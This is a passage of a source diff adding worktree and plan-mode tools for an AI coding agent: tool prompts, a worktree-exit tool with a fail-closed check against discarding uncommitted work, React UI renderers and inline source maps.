Ob2RlIHtcbiAgcmV0dXJuICdDcmVhdGluZyB3b3JrdHJlZeKApidcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xSZXN1bHRNZXNzYWdlKFxuICBvdXRwdXQ6IE91dHB1dCxcbiAgX3Byb2dyZXNzTWVzc2FnZXNGb3JNZXNzYWdlOiBQcm9ncmVzc01lc3NhZ2U8VG9vbFByb2dyZXNzRGF0YT5bXSxcbiAgX29wdGlvbnM6IHsgdGhlbWU6IFRoZW1lTmFtZSB9LFxuKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgIDxUZXh0PlxuICAgICAgICBTd2l0Y2hlZCB0byB3b3JrdHJlZSBvbiBicmFuY2ggPFRleHQgYm9sZD57b3V0cHV0Lndvcmt0cmVlQnJhbmNofTwvVGV4dD5cbiAgICAgIDwvVGV4dD5cbiAgICAgIDxUZXh0IGRpbUNvbG9yPntvdXRwdXQud29ya3RyZWVQYXRofTwvVGV4dD5cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxPQUFPLEtBQUtBLEtBQUssTUFBTSxPQUFPO0FBQzlCLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsZ0JBQWdCLFFBQVEsZUFBZTtBQUNyRCxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELGNBQWNDLFNBQVMsUUFBUSxzQkFBc0I7QUFDckQsY0FBY0MsTUFBTSxRQUFRLHdCQUF3QjtBQUVwRCxPQUFPLFNBQVNDLG9CQUFvQkEsQ0FBQSxDQUFFLEVBQUVQLEtBQUssQ0FBQ1EsU0FBUyxDQUFDO0VBQ3RELE9BQU8sb0JBQW9CO0FBQzdCO0FBRUEsT0FBTyxTQUFTQyx1QkFBdUJBLENBQ3JDQyxNQUFNLEVBQUVKLE1BQU0sRUFDZEssMkJBQTJCLEVBQUVQLGVBQWUsQ0FBQ0QsZ0JBQWdCLENBQUMsRUFBRSxFQUNoRVMsUUFBUSxFQUFFO0VBQUVDLEtBQUssRUFBRVIsU0FBUztBQUFDLENBQUMsQ0FDL0IsRUFBRUwsS0FBSyxDQUFDUSxTQUFTLENBQUM7RUFDakIsT0FDRSxDQUFDLEdBQUcsQ0FBQyxhQUFhLENBQUMsUUFBUTtBQUMvQixNQUFNLENBQUMsSUFBSTtBQUNYLHVDQUF1QyxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ0UsTUFBTSxDQUFDSSxjQUFjLENBQUMsRUFBRSxJQUFJO0FBQy9FLE1BQU0sRUFBRSxJQUFJO0FBQ1osTUFBTSxDQUFDLElBQUksQ0FBQyxRQUFRLENBQUMsQ0FBQ0osTUFBTSxDQUFDSyxZQUFZLENBQUMsRUFBRSxJQUFJO0FBQ2hELElBQUksRUFBRSxHQUFHLENBQUM7QUFFViIsImlnbm9yZUxpc3QiOltdfQ==

src/tools/EnterWorktreeTool/constants.ts

@@ -0,0 +1 @@
+export const ENTER_WORKTREE_TOOL_NAME = 'EnterWorktree'

src/tools/EnterWorktreeTool/prompt.ts

@@ -0,0 +1,30 @@
+export function getEnterWorktreeToolPrompt(): string {
+  return `Use this tool ONLY when the user explicitly asks to work in a worktree. This tool creates an isolated git worktree and switches the current session into it.
+
+## When to Use
+
+- The user explicitly says "worktree" (e.g., "start a worktree", "work in a worktree", "create a worktree", "use a worktree")
+
+## When NOT to Use
+
+- The user asks to create a branch, switch branches, or work on a different branch — use git commands instead
+- The user asks to fix a bug or work on a feature — use normal git workflow unless they specifically mention worktrees
+- Never use this tool unless the user explicitly mentions "worktree"
+
+## Requirements
+
+- Must be in a git repository, OR have WorktreeCreate/WorktreeRemove hooks configured in settings.json
+- Must not already be in a worktree
+
+## Behavior
+
+- In a git repository: creates a new git worktree inside \`.claude/worktrees/\` with a new branch based on HEAD
+- Outside a git repository: delegates to WorktreeCreate/WorktreeRemove hooks for VCS-agnostic isolation
+- Switches the session's working directory to the new worktree
+- Use ExitWorktree to leave the worktree mid-session (keep or remove). On session exit, if still in the worktree, the user will be prompted to keep or remove it
+
+## Parameters
+
+- \`name\` (optional): A name for the worktree. If not provided, a random name is generated.
+`
+}

src/tools/ExitPlanModeTool/constants.ts

@@ -0,0 +1,2 @@
+export const EXIT_PLAN_MODE_TOOL_NAME = 'ExitPlanMode'
+export const EXIT_PLAN_MODE_V2_TOOL_NAME = 'ExitPlanMode'

src/tools/ExitPlanModeTool/prompt.ts

@@ -0,0 +1,29 @@
+// External stub for ExitPlanModeTool prompt - excludes Ant-only allowedPrompts section
+
+// Hardcoded to avoid relative import issues in stub
+const ASK_USER_QUESTION_TOOL_NAME = 'AskUserQuestion'
+
+export const EXIT_PLAN_MODE_V2_TOOL_PROMPT = `Use this tool when you are in plan mode and have finished writing your plan to the plan file and are ready for user approval.
+
+## How This Tool Works
+- You should have already written your plan to the plan file specified in the plan mode system message
+- This tool does NOT take the plan content as a parameter - it will read the plan from the file you wrote
+- This tool simply signals that you're done planning and ready for the user to review and approve
+- The user will see the contents of your plan file when they review it
+
+## When to Use This Tool
+IMPORTANT: Only use this tool when the task requires planning the implementation steps of a task that requires writing code. For research tasks where you're gathering information, searching files, reading files or in general trying to understand the codebase - do NOT use this tool.
+
+## Before Using This Tool
+Ensure your plan is complete and unambiguous:
+- If you have unresolved questions about requirements or approach, use ${ASK_USER_QUESTION_TOOL_NAME} first (in earlier phases)
+- Once your plan is finalized, use THIS tool to request approval
+
+**Important:** Do NOT use ${ASK_USER_QUESTION_TOOL_NAME} to ask "Is this plan okay?" or "Should I proceed?" - that's exactly what THIS tool does. ExitPlanMode inherently requests user approval of your plan.
+
+## Examples
+
+1. Initial task: "Search for and understand the implementation of vim mode in the codebase" - Do not use the exit plan mode tool because you are not planning the implementation steps of a task.
+2. Initial task: "Help me implement yank mode for vim" - Use the exit plan mode tool after you have finished planning the implementation steps of the task.
+3. Initial task: "Add a new feature to handle user authentication" - If unsure about auth method (OAuth, JWT, etc.), use ${ASK_USER_QUESTION_TOOL_NAME} first, then use exit plan mode tool after clarifying the approach.
+`

src/tools/ExitWorktreeTool/ExitWorktreeTool.ts

@@ -0,0 +1,329 @@
+import { z } from 'zod/v4'
+import {
+  getOriginalCwd,
+  getProjectRoot,
+  setOriginalCwd,
+  setProjectRoot,
+} from '../../bootstrap/state.js'
+import { clearSystemPromptSections } from '../../constants/systemPromptSections.js'
+import { logEvent } from '../../services/analytics/index.js'
+import type { Tool } from '../../Tool.js'
+import { buildTool, type ToolDef } from '../../Tool.js'
+import { count } from '../../utils/array.js'
+import { clearMemoryFileCaches } from '../../utils/claudemd.js'
+import { execFileNoThrow } from '../../utils/execFileNoThrow.js'
+import { updateHooksConfigSnapshot } from '../../utils/hooks/hooksConfigSnapshot.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { getPlansDirectory } from '../../utils/plans.js'
+import { setCwd } from '../../utils/Shell.js'
+import { saveWorktreeState } from '../../utils/sessionStorage.js'
+import {
+  cleanupWorktree,
+  getCurrentWorktreeSession,
+  keepWorktree,
+  killTmuxSession,
+} from '../../utils/worktree.js'
+import { EXIT_WORKTREE_TOOL_NAME } from './constants.js'
+import { getExitWorktreeToolPrompt } from './prompt.js'
+import { renderToolResultMessage, renderToolUseMessage } from './UI.js'
+
+const inputSchema = lazySchema(() =>
+  z.strictObject({
+    action: z
+      .enum(['keep', 'remove'])
+      .describe(
+        '"keep" leaves the worktree and branch on disk; "remove" deletes both.',
+      ),
+    discard_changes: z
+      .boolean()
+      .optional()
+      .describe(
+        'Required true when action is "remove" and the worktree has uncommitted files or unmerged commits. The tool will refuse and list them otherwise.',
+      ),
+  }),
+)
+type InputSchema = ReturnType<typeof inputSchema>
+
+const outputSchema = lazySchema(() =>
+  z.object({
+    action: z.enum(['keep', 'remove']),
+    originalCwd: z.string(),
+    worktreePath: z.string(),
+    worktreeBranch: z.string().optional(),
+    tmuxSessionName: z.string().optional(),
+    discardedFiles: z.number().optional(),
+    discardedCommits: z.number().optional(),
+    message: z.string(),
+  }),
+)
+type OutputSchema = ReturnType<typeof outputSchema>
+export type Output = z.infer<OutputSchema>
+
+type ChangeSummary = {
+  changedFiles: number
+  commits: number
+}
+
+/**
+ * Returns null when state cannot be reliably determined — callers that use
+ * this as a safety gate must treat null as "unknown, assume unsafe"
+ * (fail-closed). A silent 0/0 would let cleanupWorktree destroy real work.
+ *
+ * Null is returned when:
+ * - git status or rev-list exit non-zero (lock file, corrupt index, bad ref)
+ * - originalHeadCommit is undefined but git status succeeded — this is the
+ *   hook-based-worktree-wrapping-git case (worktree.ts:525-532 doesn't set
+ *   originalHeadCommit). We can see the working tree is git, but cannot count
+ *   commits without a baseline, so we cannot prove the branch is clean.
+ */
+async function countWorktreeChanges(
+  worktreePath: string,
+  originalHeadCommit: string | undefined,
+): Promise<ChangeSummary | null> {
+  const status = await execFileNoThrow('git', [
+    '-C',
+    worktreePath,
+    'status',
+    '--porcelain',
+  ])
+  if (status.code !== 0) {
+    return null
+  }
+  const changedFiles = count(status.stdout.split('\n'), l => l.trim() !== '')
+
+  if (!originalHeadCommit) {
+    // git status succeeded → this is a git repo, but without a baseline
+    // commit we cannot count commits. Fail-closed rather than claim 0.
+    return null
+  }
+
+  const revList = await execFileNoThrow('git', [
+    '-C',
+    worktreePath,
+    'rev-list',
+    '--count',
+    `${originalHeadCommit}..HEAD`,
+  ])
+  if (revList.code !== 0) {
+    return null
+  }
+  const commits = parseInt(revList.stdout.trim(), 10) || 0
+
+  return { changedFiles, commits }
+}
+
+/**
+ * Restore session state to reflect the original directory.
+ * This is the inverse of the session-level mutations in EnterWorktreeTool.call().
+ *
+ * keepWorktree()/cleanupWorktree() handle process.chdir and currentWorktreeSession;
+ * this handles everything above the worktree utility layer.
+ */
+function restoreSessionToOriginalCwd(
+  originalCwd: string,
+  projectRootIsWorktree: boolean,
+): void {
+  setCwd(originalCwd)
+  // EnterWorktree sets originalCwd to the *worktree* path (intentional — see
+  // state.ts getProjectRoot comment). Reset to the real original.
+  setOriginalCwd(originalCwd)
+  // --worktree startup sets projectRoot to the worktree; mid-session
+  // EnterWorktreeTool does not. Only restore when it was actually changed —
+  // otherwise we'd move projectRoot to wherever the user had cd'd before
+  // entering the worktree (session.originalCwd), breaking the "stable project
+  // identity" contract.
+  if (projectRootIsWorktree) {
+    setProjectRoot(originalCwd)
+    // setup.ts's --worktree block called updateHooksConfigSnapshot() to re-read
+    // hooks from the worktree. Restore symmetrically. (Mid-session
+    // EnterWorktreeTool never touched the snapshot, so no-op there.)
+    updateHooksConfigSnapshot()
+  }
+  saveWorktreeState(null)
+  clearSystemPromptSections()
+  clearMemoryFileCaches()
+  getPlansDirectory.cache.clear?.()
+}
+
+export const ExitWorktreeTool: Tool<InputSchema, Output> = buildTool({
+  name: EXIT_WORKTREE_TOOL_NAME,
+  searchHint: 'exit a worktree session and return to the original directory',
+  maxResultSizeChars: 100_000,
+  async description() {
+    return 'Exits a worktree session created by EnterWorktree and restores the original working directory'
+  },
+  async prompt() {
+    return getExitWorktreeToolPrompt()
+  },
+  get inputSchema(): InputSchema {
+    return inputSchema()
+  },
+  get outputSchema(): OutputSchema {
+    return outputSchema()
+  },
+  userFacingName() {
+    return 'Exiting worktree'
+  },
+  shouldDefer: true,
+  isDestructive(input) {
+    return input.action === 'remove'
+  },
+  toAutoClassifierInput(input) {
+    return input.action
+  },
+  async validateInput(input) {
+    // Scope guard: getCurrentWorktreeSession() is null unless EnterWorktree
+    // (specifically createWorktreeForSession) ran in THIS session. Worktrees
+    // created by `git worktree add`, or by EnterWorktree in a previous
+    // session, do not populate it. This is the sole entry gate — everything
+    // past this point operates on a path EnterWorktree created.
+    const session = getCurrentWorktreeSession()
+    if (!session) {
+      return {
+        result: false,
+        message:
+          'No-op: there is no active EnterWorktree session to exit. This tool only operates on worktrees created by EnterWorktree in the current session — it will not touch worktrees created manually or in a previous session. No filesystem changes were made.',
+        errorCode: 1,
+      }
+    }
+
+    if (input.action === 'remove' && !input.discard_changes) {
+      const summary = await countWorktreeChanges(
+        session.worktreePath,
+        session.originalHeadCommit,
+      )
+      if (summary === null) {
+        return {
+          result: false,
+          message: `Could not verify worktree state at ${session.worktreePath}. Refusing to remove without explicit confirmation. Re-invoke with discard_changes: true to proceed — or use action: "keep" to preserve the worktree.`,
+          errorCode: 3,
+        }
+      }
+      const { changedFiles, commits } = summary
+      if (changedFiles > 0 || commits > 0) {
+        const parts: string[] = []
+        if (changedFiles > 0) {
+          parts.push(
+            `${changedFiles} uncommitted ${changedFiles === 1 ? 'file' : 'files'}`,
+          )
+        }
+        if (commits > 0) {
+          parts.push(
+            `${commits} ${commits === 1 ? 'commit' : 'commits'} on ${session.worktreeBranch ?? 'the worktree branch'}`,
+          )
+        }
+        return {
+          result: false,
+          message: `Worktree has ${parts.join(' and ')}. Removing will discard this work permanently. Confirm with the user, then re-invoke with discard_changes: true — or use action: "keep" to preserve the worktree.`,
+          errorCode: 2,
+        }
+      }
+    }
+
+    return { result: true }
+  },
+  renderToolUseMessage,
+  renderToolResultMessage,
+  async call(input) {
+    const session = getCurrentWorktreeSession()
+    if (!session) {
+      // validateInput guards this, but the session is module-level mutable
+      // state — defend against a race between validation and execution.
+      throw new Error('Not in a worktree session')
+    }
+
+    // Capture before keepWorktree/cleanupWorktree null out currentWorktreeSession.
+    const {
+      originalCwd,
+      worktreePath,
+      worktreeBranch,
+      tmuxSessionName,
+      originalHeadCommit,
+    } = session
+
+    // --worktree startup calls setOriginalCwd(getCwd()) and
+    // setProjectRoot(getCwd()) back-to-back right after setCwd(worktreePath)
+    // (setup.ts:235/239), so both hold the same realpath'd value and BashTool
+    // cd never touches either. Mid-session EnterWorktreeTool sets originalCwd
+    // but NOT projectRoot. (Can't use getCwd() — BashTool mutates it on every
+    // cd. Can't use session.worktreePath — it's join()'d, not realpath'd.)
+    const projectRootIsWorktree = getProjectRoot() === getOriginalCwd()
+
+    // Re-count at execution time for accurate analytics and output — the
+    // worktree state at validateInput time may not match now. Null (git
+    // failure) falls back to 0/0; safety gating already happened in
+    // validateInput, so this only affects analytics + messaging.
+    const { changedFiles, commits } = (await countWorktreeChanges(
+      worktreePath,
+      originalHeadCommit,
+    )) ?? { changedFiles: 0, commits: 0 }
+
+    if (input.action === 'keep') {
+      await keepWorktree()
+      restoreSessionToOriginalCwd(originalCwd, projectRootIsWorktree)
+
+      logEvent('tengu_worktree_kept', {
+        mid_session: true,
+        commits,
+        changed_files: changedFiles,
+      })
+
+      const tmuxNote = tmuxSessionName
+        ? ` Tmux session ${tmuxSessionName} is still running; reattach with: tmux attach -t ${tmuxSessionName}`
+        : ''
+      return {
+        data: {
+          action: 'keep' as const,
+          originalCwd,
+          worktreePath,
+          worktreeBranch,
+          tmuxSessionName,
+          message: `Exited worktree. Your work is preserved at ${worktreePath}${worktreeBranch ? ` on branch ${worktreeBranch}` : ''}. Session is now back in ${originalCwd}.${tmuxNote}`,
+        },
+      }
+    }
+
+    // action === 'remove'
+    if (tmuxSessionName) {
+      await killTmuxSession(tmuxSessionName)
+    }
+    await cleanupWorktree()
+    restoreSessionToOriginalCwd(originalCwd, projectRootIsWorktree)
+
+    logEvent('tengu_worktree_removed', {
+      mid_session: true,
+      commits,
+      changed_files: changedFiles,
+    })
+
+    const discardParts: string[] = []
+    if (commits > 0) {
+      discardParts.push(`${commits} ${commits === 1 ? 'commit' : 'commits'}`)
+    }
+    if (changedFiles > 0) {
+      discardParts.push(
+        `${changedFiles} uncommitted ${changedFiles === 1 ? 'file' : 'files'}`,
+      )
+    }
+    const discardNote =
+      discardParts.length > 0 ? ` Discarded ${discardParts.join(' and ')}.` : ''
+    return {
+      data: {
+        action: 'remove' as const,
+        originalCwd,
+        worktreePath,
+        worktreeBranch,
+        discardedFiles: changedFiles,
+        discardedCommits: commits,
+        message: `Exited and removed worktree at ${worktreePath}.${discardNote} Session is now back in ${originalCwd}.`,
+      },
+    }
+  },
+  mapToolResultToToolResultBlockParam({ message }, toolUseID) {
+    return {
+      type: 'tool_result',
+      content: message,
+      tool_use_id: toolUseID,
+    }
+  },
+} satisfies ToolDef<InputSchema, Output>)

src/tools/ExitWorktreeTool/UI.tsx

@@ -0,0 +1,25 @@
+import * as React from 'react';
+import { Box, Text } from '../../ink.js';
+import type { ToolProgressData } from '../../Tool.js';
+import type { ProgressMessage } from '../../types/message.js';
+import type { ThemeName } from '../../utils/theme.js';
+import type { Output } from './ExitWorktreeTool.js';
+export function renderToolUseMessage(): React.ReactNode {
+  return 'Exiting worktree…';
+}
+export function renderToolResultMessage(output: Output, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], _options: {
+  theme: ThemeName;
+}): React.ReactNode {
+  const actionLabel = output.action === 'keep' ? 'Kept worktree' : 'Removed worktree';
+  return <Box flexDirection="column">
+      <Text>
+        {actionLabel}
+        {output.worktreeBranch ? <>
+            {' '}
+            (branch <Text bold>{output.worktreeBranch}</Text>)
+          </> : null}
+      </Text>
+      <Text dimColor>Returned to {output.originalCwd}</Text>
+    </Box>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJveCIsIlRleHQiLCJUb29sUHJvZ3Jlc3NEYXRhIiwiUHJvZ3Jlc3NNZXNzYWdlIiwiVGhlbWVOYW1lIiwiT3V0cHV0IiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJSZWFjdE5vZGUiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsIm91dHB1dCIsIl9wcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZSIsIl9vcHRpb25zIiwidGhlbWUiLCJhY3Rpb25MYWJlbCIsImFjdGlvbiIsIndvcmt0cmVlQnJhbmNoIiwib3JpZ2luYWxDd2QiXSwic291cmNlcyI6WyJVSS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgdHlwZSB7IFRvb2xQcm9ncmVzc0RhdGEgfSBmcm9tICcuLi8uLi9Ub29sLmpzJ1xuaW1wb3J0IHR5cGUgeyBQcm9ncmVzc01lc3NhZ2UgfSBmcm9tICcuLi8uLi90eXBlcy9tZXNzYWdlLmpzJ1xuaW1wb3J0IHR5cGUgeyBUaGVtZU5hbWUgfSBmcm9tICcuLi8uLi91dGlscy90aGVtZS5qcydcbmltcG9ydCB0eXBlIHsgT3V0cHV0IH0gZnJvbSAnLi9FeGl0V29ya3RyZWVUb29sLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuICdFeGl0aW5nIHdvcmt0cmVl4oCmJ1xufVxuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFJlc3VsdE1lc3NhZ2UoXG4gIG91dHB1dDogT3V0cHV0LFxuICBfcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2U6IFByb2dyZXNzTWVzc2FnZTxUb29sUHJvZ3Jlc3NEYXRhPltdLFxuICBfb3B0aW9uczogeyB0aGVtZTogVGhlbWVOYW1lIH0sXG4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBhY3Rpb25MYWJlbCA9XG4gICAgb3V0cHV0LmFjdGlvbiA9PT0gJ2tlZXAnID8gJ0tlcHQgd29ya3RyZWUnIDogJ1JlbW92ZWQgd29ya3RyZWUnXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCI+XG4gICAgICA8VGV4dD5cbiAgICAgICAge2FjdGlvbkxhYmVsfVxuICAgICAgICB7b3V0cHV0Lndvcmt0cmVlQnJhbmNoID8gKFxuICAgICAgICAgIDw+XG4gICAgICAgICAgICB7JyAnfVxuICAgICAgICAgICAgKGJyYW5jaCA8VGV4dCBib2xkPntvdXRwdXQud29ya3RyZWVCcmFuY2h9PC9UZXh0PilcbiAgICAgICAgICA8Lz5cbiAgICAgICAgKSA6IG51bGx9XG4gICAgICA8L1RleHQ+XG4gICAgICA8VGV4dCBkaW1Db2xvcj5SZXR1cm5lZCB0byB7b3V0cHV0Lm9yaWdpbmFsQ3dkfTwvVGV4dD5cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxPQUFPLEtBQUtBLEtBQUssTUFBTSxPQUFPO0FBQzlCLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsZ0JBQWdCLFFBQVEsZUFBZTtBQUNyRCxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELGNBQWNDLFNBQVMsUUFBUSxzQkFBc0I7QUFDckQsY0FBY0MsTUFBTSxRQUFRLHVCQUF1QjtBQUVuRCxPQUFPLFNBQVNDLG9CQUFvQkEsQ0FBQSxDQUFFLEVBQUVQLEtBQUssQ0FBQ1EsU0FBUyxDQUFDO0VBQ3RELE9BQU8sbUJBQW1CO0FBQzVCO0FBRUEsT0FBTyxTQUFTQyx1QkFBdUJBLENBQ3JDQyxNQUFNLEVBQUVKLE1BQU0sRUFDZEssMkJBQTJCLEVBQUVQLGVBQWUsQ0FBQ0QsZ0JBQWdCLENBQUMsRUFBRSxFQUNoRVMsUUFBUSxFQUFFO0VBQUVDLEtBQUssRUFBRVIsU0FBUztBQUFDLENBQUMsQ0FDL0IsRUFBRUwsS0FBSyxDQUFDUSxTQUFTLENBQUM7RUFDakIsTUFBTU0sV0FBVyxHQUNmSixNQUFNLENBQUNLLE1BQU0sS0FBSyxNQUFNLEdBQUcsZUFBZSxHQUFHLGtCQUFrQjtFQUNqRSxPQUNFLENBQUMsR0FBRyxDQUFDLGFBQWEsQ0FBQyxRQUFRO0FBQy9CLE1BQU0sQ0FBQyxJQUFJO0FBQ1gsUUFBUSxDQUFDRCxXQUFXO0FBQ3BCLFFBQVEsQ0FBQ0osTUFBTSxDQUFDTSxjQUFjLEdBQ3BCO0FBQ1YsWUFBWSxDQUFDLEdBQUc7QUFDaEIsb0JBQW9CLENBQUMsSUFBSSxDQUFDLElBQUksQ0FBQyxDQUFDTixNQUFNLENBQUNNLGNBQWMsQ0FBQyxFQUFFLElBQUksQ0FBQztBQUM3RCxVQUFVLEdBQUcsR0FDRCxJQUFJO0FBQ2hCLE1BQU0sRUFBRSxJQUFJO0FBQ1osTUFBTSxDQUFDLElBQUksQ0FBQyxRQUFRLENBQUMsWUFBWSxDQUFDTixNQUFNLENBQUNPLFdBQVcsQ0FBQyxFQUFFLElBQUk7QUFDM0QsSUFBSSxFQUFFLEdBQUcsQ0FBQztBQUVWIiwiaWdub3JlTGlzdCI6W119